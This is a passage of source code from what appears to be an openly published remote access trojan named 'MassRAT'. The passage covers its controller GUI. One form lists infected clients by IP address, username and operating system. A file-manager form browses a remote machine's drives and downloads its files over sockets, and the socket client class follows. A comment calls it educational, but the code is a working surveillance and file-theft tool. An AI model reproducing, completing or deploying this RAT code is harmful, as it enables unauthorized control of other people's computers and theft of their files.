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")))); 88 | }); 89 | 90 | 91 | #region Folders 92 | List folderList = null; 93 | if (packet.ListFolders != null) 94 | { 95 | folderList = new List(); 96 | foreach (PacketFileManager_FolderPacket folder in packet.ListFolders) 97 | { 98 | ListViewItem item = new ListViewItem 99 | { 100 | Text = folder.Name, 101 | ToolTipText = folder.FullPath, 102 | Group = betterListView1.Groups["Folders"], 103 | ImageIndex = 0, 104 | }; 105 | item.SubItems.AddRange(new string[] { folder.DateCreation.ToLocalTime().ToString() }); 106 | folderList.Add(item); 107 | } 108 | } 109 | 110 | #endregion 111 | 112 | 113 | #region Files 114 | List fileList = null; 115 | 116 | if (packet.ListFiles != null) 117 | { 118 | fileList = new List(); 119 | foreach (PacketFileManager_FilePacket file in packet.ListFiles) 120 | { 121 | if (file.Icon.Length == 0) 122 | { 123 | file.Icon = Convert.FromBase64String("iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAB5AAAAeQB+hcYWwAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAALcSURBVHic7Zu7bhNBFIb/M3u313gV3xKBhJF4gAiJDqXgJtHTUSFeghqJhhZEQxEegQQKWl4gHRXNIm2DZBALS2znskNBFKUI3vXMeGcdz1faZ2b+83vGc3y0Js45VJAkSQDHf+n7/hMV831JD/H40/dSsR8f9BE67OxL3zjnT3tR623RWFYUUIYkSYKcuR8455sq5lPAgIheoER+0gYkSRLktvsehNuycymmFwNuUZCUAafJc9yRmUcnwgYkSRLklru7zMkDggbEceznlrsD4K5iPZUztwFxHPvMa+wCuLcAPZUzlwEnye/ggiQPzGHAmeTvL1BP5ZQy4CT5d7hgyQOAXSKG7KD5inN+BcDnmYHEMjWyqqPQgBjwQj9QUt7WESWl8DJjDNAtQDfGAN0CdGMM0C2gLDYDHl1v4uG1BkjlvArnWhhtl+H5zQibnX/9jRtdF8/2UkyO5dt5td0BbZfBImDYsvFmq3OaPABsbfh4fWsNPd9C6BBcS3xPUFFTNAb8MM3GwitI8DU7wiCw4P8nweyQIz3Icblpnf9+OwyGwGTWGrU+AlfD2fJChxA65ydfltoegaowBugWoBtjgG4BuhG+BTjnyH79VqlFmPBSC0RitYD4Ncg5xn/2hYerJGyFQOUGgIRdV4+4DmEDiBF6GwPhhevCyn8JGgN0C9DNyhsgVQeM9+txDQaNhp46IEvrUQgFQSBcB5gjIDqQGEN3va9SizDExD9HqY4Qk1i4Lix/BpIYA3QL0I3ENQhMpzM7zpXheb7wD0KJQihH+uOn6HCl9Nb7IBLbzOYIiA4kxhB11lRqEUZbHeB6hQ9j156VPwLGAN0CdGMM0C1AN4W3wHQ0cpy8Lv3/+ZiOJg66XbkHJDzbto7HB+pUVYjnuoVPT6z8ETAG6BagG2OAbgG6MQYUBQyjKCOivAoxKiGifBhFhf9hKrMDjiyLtpfJBCLKLYu2ARwVxf4F/k2ZA8gV5fIAAAAASUVORK5CYII="); 124 | } 125 | imageList1.Images.Add(file.FullPath, Image.FromStream(new MemoryStream(file.Icon))); 126 | ListViewItem item = new ListViewItem 127 | { 128 | Text = file.Name, 129 | ToolTipText = file.FullPath, 130 | Group = betterListView1.Groups["Files"], 131 | ImageKey = file.FullPath, 132 | }; 133 | item.SubItems.AddRange(new string[] { file.Size, file.DateCreation.ToLocalTime().ToString() }); 134 | fileList.Add(item); 135 | } 136 | } 137 | #endregion 138 | 139 | // add 140 | this.Invoke((MethodInvoker)delegate 141 | { 142 | if (folderList != null) betterListView1.Items.AddRange(folderList.ToArray()); 143 | if (fileList != null) betterListView1.Items.AddRange(fileList.ToArray()); 144 | betterListView1.Enabled = true; 145 | betterListView1.Focus(); 146 | betterListView1.EndUpdate(); 147 | }); 148 | } 149 | catch (Exception ex) 150 | { 151 | Debug.WriteLine(ex); 152 | } 153 | } 154 | 155 | /// 156 | /// Save incoming file 157 | /// 158 | public async void DownloadFile(SocketClient socket, PacketFileManager_DownloadFile packet) 159 | { 160 | if (packet.ByteArray == null) // packet is just a add to listview 161 | { 162 | ListViewItem item = new ListViewItem 163 | { 164 | Text = Path.GetFileName(packet.FullPath), 165 | Tag = socket, // needed for timer 166 | ToolTipText = packet.FileId, 167 | }; 168 | item.SubItems.AddRange(new string[] { "Download", Convertor.IntegerToUnitData(packet.Size) }); 169 | 170 | this.Invoke((MethodInvoker)delegate 171 | { 172 | betterListView2.Items.Add(item); 173 | }); 174 | } 175 | else // save byte[] 176 | { 177 | using (FileStream stream = new FileStream(Path.GetFileName(packet.FullPath), FileMode.Create)) 178 | await stream.WriteAsync(packet.ByteArray, 0, packet.ByteArray.Length); 179 | 180 | this.Invoke((MethodInvoker)delegate 181 | { 182 | foreach (ListViewItem item in betterListView2.Items) 183 | { 184 | if (item.ToolTipText == packet.FileId) 185 | { 186 | item.SubItems[2].Text = "Finished"; 187 | break; 188 | } 189 | } 190 | }); 191 | socket.Disconnected(); 192 | } 193 | } 194 | #endregion 195 | 196 | 197 | #region Form Events 198 | private void FormFileManager_Load(object sender, EventArgs e) 199 | { 200 | GetDrivers(); 201 | } 202 | 203 | private void FormFileManager_FormClosed(object sender, FormClosedEventArgs e) 204 | { 205 | SocketClient.CurrentForms.GetFormFileManager = null; 206 | SocketClient = null; 207 | } 208 | 209 | private void IconArrowBack_Click(object sender, EventArgs e) 210 | { 211 | GoBack(); 212 | } 213 | 214 | private void IconArrowForward_Click(object sender, EventArgs e) 215 | { 216 | GoForward(); 217 | } 218 | 219 | private void BetterListView2_DoubleClick(object sender, EventArgs e) 220 | { 221 | try 222 | { 223 | if (betterListView2.SelectedItems[0].SubItems[2].Text == "Finished" && File.Exists(betterListView2.SelectedItems[0].Text)) 224 | { 225 | Process.Start(betterListView2.SelectedItems[0].Text); 226 | } 227 | } 228 | catch (Exception ex) 229 | { 230 | MessageBox.Show(this, ex.Message, Settings.SafeThreading.UIThread.Text, MessageBoxButtons.OK, MessageBoxIcon.Error); 231 | } 232 | } 233 | 234 | /// 235 | /// to do 236 | /// navigate using mouse 237 | /// 238 | private void BetterListView1_MouseDown(object sender, MouseEventArgs e) 239 | { 240 | Debug.WriteLine(e.Button); 241 | if (betterListView1.ContainsFocus) 242 | 243 | switch (e.Button) 244 | { 245 | case MouseButtons.XButton1: //back 246 | { 247 | GoBack(); 248 | break; 249 | } 250 | 251 | case MouseButtons.XButton2: //return 252 | { 253 | GoForward(); 254 | break; 255 | } 256 | } 257 | } 258 | 259 | /// 260 | /// to do 261 | /// navigate using keyboard 262 | /// 263 | private void BetterListView1_KeyDown(object sender, KeyEventArgs e) 264 | { 265 | Debug.WriteLine(e.KeyCode); 266 | if (betterListView1.ContainsFocus) 267 | switch (e.KeyCode) 268 | { 269 | case Keys.Back: 270 | { 271 | GoBack(); 272 | break; 273 | } 274 | 275 | case Keys.Return: 276 | { 277 | GoForward(); 278 | break; 279 | } 280 | 281 | case Keys.Delete: 282 | { 283 | break; 284 | } 285 | } 286 | } 287 | 288 | private void BetterListView1_DoubleClick(object sender, EventArgs e) 289 | { 290 | GoForward(); 291 | } 292 | 293 | private void TimerDownloadManager_Tick(object sender, EventArgs e) 294 | { 295 | if (betterListView2.Items.Count > 0) 296 | { 297 | foreach (ListViewItem item in betterListView2.Items) 298 | { 299 | if (item.SubItems[2].Text != "Finished") 300 | { 301 | SocketClient client = (SocketClient)item.Tag; 302 | string fileSize = item.SubItems[2].Text.Split('/')[0]; 303 | item.SubItems[2].Text = $"{fileSize}/{Convertor.IntegerToUnitData(client.BytesReceived)}"; 304 | } 305 | } 306 | } 307 | } 308 | 309 | #endregion 310 | 311 | 312 | #region Helper 313 | 314 | /// 315 | /// send path of the folder to browse it 316 | /// 317 | private void GetPath(string path) 318 | { 319 | PacketFileManager_GetPath packet = new PacketFileManager_GetPath { Path = path }; 320 | ThreadPool.QueueUserWorkItem((o) => 321 | { 322 | SocketClient.Send(packet); 323 | }); 324 | betterListView1.Enabled = false; 325 | } 326 | 327 | private void GetDrivers() 328 | { 329 | ThreadPool.QueueUserWorkItem((o) => 330 | { 331 | SocketClient.Send(new PacketFileManager_GetDrivers()); 332 | }); 333 | } 334 | 335 | private void GoBack() 336 | { 337 | if (!string.IsNullOrWhiteSpace(txtPath.Text)) 338 | if (txtPath.Text.Length > 3) 339 | { 340 | string fullPath = Path.GetDirectoryName(txtPath.Text); 341 | GetPath(fullPath.Replace("\\", "/")); // valid android path 342 | } 343 | else 344 | GetDrivers(); 345 | else 346 | GetDrivers(); 347 | } 348 | 349 | private void GoForward() 350 | { 351 | // if folder or driver = browse 352 | if (betterListView1.SelectedItems.Count > 0) 353 | { 354 | if (betterListView1.SelectedItems[0].Group.Name == "Folders" || betterListView1.SelectedItems[0].Group.Name == "Drivers") 355 | { 356 | GetPath(betterListView1.SelectedItems[0].ToolTipText); 357 | betterListView1.Enabled = false; 358 | } 359 | else if(betterListView1.SelectedItems[0].Group.Name == "Files") 360 | { 361 | foreach (ListViewItem file in betterListView1.SelectedItems) 362 | { 363 | if (file.Group.Name == "Files") 364 | { 365 | PacketFileManager_DownloadFile packet = new PacketFileManager_DownloadFile 366 | { 367 | FullPath = file.ToolTipText, 368 | }; 369 | 370 | ThreadPool.QueueUserWorkItem((o) => 371 | { 372 | SocketClient.Send(packet); 373 | }); 374 | } 375 | } 376 | tabControl1.SelectedTab = tabPage2; 377 | } 378 | } 379 | } 380 | #endregion 381 | 382 | } 383 | } 384 | -------------------------------------------------------------------------------- /Server/Forms/FormFileManager.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 175, 17 122 | 123 | 124 | 482, 17 125 | 126 | 127 | 128 | 129 | iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6 130 | JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAACXBIWXMAAA68AAAOvAGVvHJJAAAAAmJL 131 | R0QAAKqNIzIAAAAHdElNRQfjDA8WHzOrto6RAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEyLTE1VDIy 132 | OjMxOjUxKzAwOjAwIbtP5AAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMi0xNVQyMjozMTo1MSswMDow 133 | MFDm91gAAAAZdEVYdFNvZnR3YXJlAHd3dy5pbmtzY2FwZS5vcmeb7jwaAAABkElEQVR4Xu3buy5EURSA 134 | 4d3oFKgkShSujYIGtcITaD0LD8HDDIWCREdBolG4JUIiEiL49yR7ssnOyZw1kVhrrz/5molmrTlnbs4J 135 | nud53t82hC3sYhvDqKYJnOIrc4UFmG8c58iHTx6xBLPFZ/4CpeGTB0zDXP0Mn3RgqqbDvuQTIzBR2+Gj 136 | uIAxqK/NYZ87gvqkwz9hDqqTHPZRHH4ZqvPhURqwSfXDr0B10uGf4cNrzodHacAmL1iD6nx4lAZs4sND 137 | dYMMvw7VVT289FudNm84xgZ6SZ95zeKPMZvo/iJzidIfWXeGsJ89UJsPhJvsgRr5AvZ+PVCTV4RR1PD2 138 | V3KIbrV8BsjFF8BV9KplCe84wY/hU9IPRNeYgomkS4jvJjMwkS+BBlnCLEwkXcItfAnwJcCXAPX/Bk/5 139 | Eki6hDv4EjAPE/kSyJdA0m+R8YVxEiaSLsHUlaKS08HMhZKptkswdalsqs3pcACT9bMEs5fLp5pOh3ss 140 | wnzxSCjdMlPF8Kl009QOqrtpyvM87x8XwjeFbIHTynB9QAAAAABJRU5ErkJggg== 141 | 142 | 143 | 144 | 145 | iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6 146 | JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAACXBIWXMAAA68AAAOvAGVvHJJAAAAAmJL 147 | R0QAAKqNIzIAAAAHdElNRQfjDA8WIDPzaKStAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEyLTE1VDIy 148 | OjMyOjUxKzAwOjAwyoz05wAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMi0xNVQyMjozMjo1MSswMDow 149 | MLvRTFsAAAAZdEVYdFNvZnR3YXJlAHd3dy5pbmtzY2FwZS5vcmeb7jwaAAABnElEQVR4Xu3buy4EcRTH 150 | 8WnoFSoSKpdKQuXWSrwBJY/Ak2h5H9GRoKHQuHdIFMTle8Qkezl7ZCUSc/6/X/JpZmaL39mZ2d3ZmUpR 151 | FEX5PxnGNnawiUEUkyXc4aPFEUaQPot4RGv52gXGkTazeIJXvnaOtHvCMbzSnVIOYQxe2V7SHQ6j8IpG 152 | 0g3hEF7RSKrDYQYP8IpGUg1hHr8ZQqrDQUMgGgLREMgCNAT0+n0Q0RCgIUBDQKohRNcMIhoCNARoCOg5 153 | hDXYBchXeC/MpOtX5Dq8DTNr2xPsnfc2ys72hCFUL98LSrQHd0UpbuGuKMUVqueWBaXZRbXfsqAkZ/g6 154 | Ca7gHd5GWVn5tu8CqzjFG7wXZNJVvomZwCW8gpE05e3s7RWMqDwanUmofJ9UHo2Olb+GVzCSovwUVL5P 155 | Ko9Gx8rfwCsYUXk0OtMotrx91N3DKxhJUd5yAK9gJE15K+EVjKQpb+n3VtlU5eucwCvbKWV5yxx+ul0+ 156 | bfk60b+96cvXWUbnIzN2I3UR5evYQ1NbsIemNjAARVEU5W9SVZ8pv4SpSaueVQAAAABJRU5ErkJggg== 157 | 158 | 159 | 160 | 640, 17 161 | 162 | 163 | 798, 17 164 | 165 | -------------------------------------------------------------------------------- /Server/Forms/FormMain.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace Server.Forms 2 | { 3 | partial class FormMain 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.components = new System.ComponentModel.Container(); 32 | this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); 33 | this.fileManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); 34 | this.betterListView1 = new Server.Controls.BetterListView(); 35 | this.ipHeader = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 36 | this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 37 | this.usernameHeader = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 38 | this.osHeader = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); 39 | this.contextMenuStrip1.SuspendLayout(); 40 | this.SuspendLayout(); 41 | // 42 | // contextMenuStrip1 43 | // 44 | this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); 45 | this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { 46 | this.fileManagerToolStripMenuItem}); 47 | this.contextMenuStrip1.Name = "contextMenuStrip1"; 48 | this.contextMenuStrip1.Size = new System.Drawing.Size(186, 36); 49 | // 50 | // fileManagerToolStripMenuItem 51 | // 52 | this.fileManagerToolStripMenuItem.Name = "fileManagerToolStripMenuItem"; 53 | this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(185, 32); 54 | this.fileManagerToolStripMenuItem.Text = "File Manager"; 55 | this.fileManagerToolStripMenuItem.Click += new System.EventHandler(this.FileManagerToolStripMenuItem_Click); 56 | // 57 | // betterListView1 58 | // 59 | this.betterListView1.BorderStyle = System.Windows.Forms.BorderStyle.None; 60 | this.betterListView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { 61 | this.ipHeader, 62 | this.columnHeader1, 63 | this.usernameHeader, 64 | this.osHeader}); 65 | this.betterListView1.ContextMenuStrip = this.contextMenuStrip1; 66 | this.betterListView1.Dock = System.Windows.Forms.DockStyle.Fill; 67 | this.betterListView1.FullRowSelect = true; 68 | this.betterListView1.HideSelection = false; 69 | this.betterListView1.Location = new System.Drawing.Point(0, 0); 70 | this.betterListView1.Name = "betterListView1"; 71 | this.betterListView1.Size = new System.Drawing.Size(897, 439); 72 | this.betterListView1.TabIndex = 0; 73 | this.betterListView1.UseCompatibleStateImageBehavior = false; 74 | this.betterListView1.View = System.Windows.Forms.View.Details; 75 | // 76 | // ipHeader 77 | // 78 | this.ipHeader.Text = "IP Address"; 79 | this.ipHeader.Width = 196; 80 | // 81 | // columnHeader1 82 | // 83 | this.columnHeader1.Text = "Type"; 84 | this.columnHeader1.Width = 130; 85 | // 86 | // usernameHeader 87 | // 88 | this.usernameHeader.Text = "Username"; 89 | this.usernameHeader.Width = 191; 90 | // 91 | // osHeader 92 | // 93 | this.osHeader.Text = "Operating system"; 94 | this.osHeader.Width = 299; 95 | // 96 | // FormMain 97 | // 98 | this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); 99 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 100 | this.ClientSize = new System.Drawing.Size(897, 439); 101 | this.Controls.Add(this.betterListView1); 102 | this.Name = "FormMain"; 103 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 104 | this.Text = "MassRAT | By NYAN CAT"; 105 | this.Load += new System.EventHandler(this.FormMain_Load); 106 | this.contextMenuStrip1.ResumeLayout(false); 107 | this.ResumeLayout(false); 108 | 109 | } 110 | 111 | #endregion 112 | private System.Windows.Forms.ColumnHeader ipHeader; 113 | private System.Windows.Forms.ColumnHeader usernameHeader; 114 | private System.Windows.Forms.ColumnHeader osHeader; 115 | public Controls.BetterListView betterListView1; 116 | private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; 117 | private System.Windows.Forms.ToolStripMenuItem fileManagerToolStripMenuItem; 118 | private System.Windows.Forms.ColumnHeader columnHeader1; 119 | } 120 | } 121 | 122 | -------------------------------------------------------------------------------- /Server/Forms/FormMain.cs: -------------------------------------------------------------------------------- 1 | using Server.Networking; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Threading; 5 | using System.Windows.Forms; 6 | using SharedLibraries.Packet.Commands; 7 | using Server.Settings; 8 | using System.IO; 9 | 10 | namespace Server.Forms 11 | { 12 | 13 | /* 14 | │ Author : NYAN CAT 15 | │ Name : Simple C# Tcp Socket Example 16 | │ Contact Me : github.com/NYAN-x-CAT 17 | 18 | This program is distributed for educational purposes only. 19 | */ 20 | 21 | 22 | public partial class FormMain : Form 23 | { 24 | public FormMain() 25 | { 26 | InitializeComponent(); 27 | } 28 | 29 | private void FormMain_Load(object sender, EventArgs e) 30 | { 31 | new SocketServer(Configuration.Port); 32 | } 33 | 34 | /// 35 | /// add client to listview 36 | /// 37 | public void AddClientToListview(SocketClient client, PacketIdentification packet) 38 | { 39 | client.ListViewItem = new ListViewItem 40 | { 41 | Tag = client, 42 | Text = client.Socket.RemoteEndPoint.ToString().Split(':')[0], 43 | }; 44 | client.Identification = packet; 45 | client.ListViewItem.SubItems.AddRange(new string[] { packet.Type.ToString(), packet.Username, packet.OperatingSystem }); 46 | 47 | this.Invoke((MethodInvoker)delegate 48 | { 49 | Interlocked.Increment(ref Configuration.ConnectedClients); 50 | lock (SafeThreading.SyncMainFormListview) 51 | { 52 | this.betterListView1.Items.Add(client.ListViewItem); 53 | this.betterListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); 54 | this.Text = $"MassRAT | By NYAN CAT | Online{Configuration.ConnectedClients}"; 55 | } 56 | }); 57 | } 58 | 59 | /// 60 | /// return array of selected clients 61 | /// 62 | /// 63 | public SocketClient[] GetSelectedClients() 64 | { 65 | List clients = new List(); 66 | this.Invoke((MethodInvoker)delegate 67 | { 68 | lock (SafeThreading.SyncMainFormListview) 69 | { 70 | if (betterListView1.SelectedItems.Count == 0) return; 71 | foreach (ListViewItem item in betterListView1.SelectedItems) 72 | { 73 | clients.Add((SocketClient)item.Tag); 74 | } 75 | } 76 | }); 77 | return clients.ToArray(); 78 | } 79 | 80 | private void FileManagerToolStripMenuItem_Click(object sender, EventArgs e) 81 | { 82 | try 83 | { 84 | foreach (SocketClient client in GetSelectedClients()) 85 | { 86 | if (client.CurrentForms.GetFormFileManager == null) 87 | { 88 | client.CurrentForms.GetFormFileManager = new FormFileManager 89 | { 90 | SocketClient = client, 91 | Name = $"FileManager {client.Identification.ID}", 92 | Text = $"FileManager {client.Identification.ID}", 93 | }; 94 | client.CurrentForms.GetFormFileManager.Show(); 95 | } 96 | } 97 | } 98 | catch (Exception ex) 99 | { 100 | MessageBox.Show(ex.Message); 101 | return; 102 | } 103 | } 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /Server/Forms/FormMain.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 17 122 | 123 | -------------------------------------------------------------------------------- /Server/ILMerge.props: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | true 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /Server/ILMergeOrder.txt: -------------------------------------------------------------------------------- 1 | # this file contains the partial list of the merged assemblies in the merge order 2 | # you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build 3 | # and finetune merge order to your satisfaction 4 | 5 | -------------------------------------------------------------------------------- /Server/Networking/SocketClient.cs: -------------------------------------------------------------------------------- 1 | using Server.Forms; 2 | using Server.PacketHandler; 3 | using Server.Settings; 4 | using SharedLibraries.Packet.Commands; 5 | using SharedLibraries.Packet.Interfaces; 6 | using SharedLibraries.Packet.Serialization; 7 | using System; 8 | using System.Diagnostics; 9 | using System.IO; 10 | using System.Net.Sockets; 11 | using System.Threading; 12 | using System.Windows.Forms; 13 | using Timer = System.Threading.Timer; 14 | 15 | namespace Server.Networking 16 | { 17 | /// 18 | /// stores the client's opened forms 19 | /// 20 | public class ClientForms 21 | { 22 | public FormFileManager GetFormFileManager; 23 | 24 | /// 25 | /// will be called when the socket is closed to dispose of any resources left 26 | /// 27 | public void Cleanup() 28 | { 29 | if (GetFormFileManager != null) 30 | { 31 | SafeThreading.UIThread.Invoke((MethodInvoker)delegate 32 | { 33 | GetFormFileManager.Dispose(); 34 | }); 35 | } 36 | } 37 | } 38 | 39 | public class SocketClient 40 | { 41 | /// 42 | /// pointer as client's opened forms 43 | /// 44 | public ClientForms CurrentForms { get; set; } 45 | 46 | /// 47 | /// The socket used for the client communication 48 | /// 49 | public Socket Socket { get; private set; } 50 | 51 | /// 52 | /// to control the client listview 53 | /// 54 | public ListViewItem ListViewItem { get; set; } 55 | 56 | /// 57 | /// send a ping to check if other socket is alive or not every x second 58 | /// 59 | private Timer KeepAlivePacket; 60 | 61 | /// 62 | /// sync send 63 | /// 64 | private readonly object LockSend = new object(); 65 | 66 | /// 67 | /// unique identification as client pointer 68 | /// 69 | public PacketIdentification Identification { get; set; } 70 | 71 | /// 72 | /// determine if the header has been received 73 | /// 74 | private bool HeaderReceived; 75 | 76 | /// 77 | /// stores incoming payload-header size 78 | /// 79 | private int PayloadSize = 0; 80 | 81 | /// 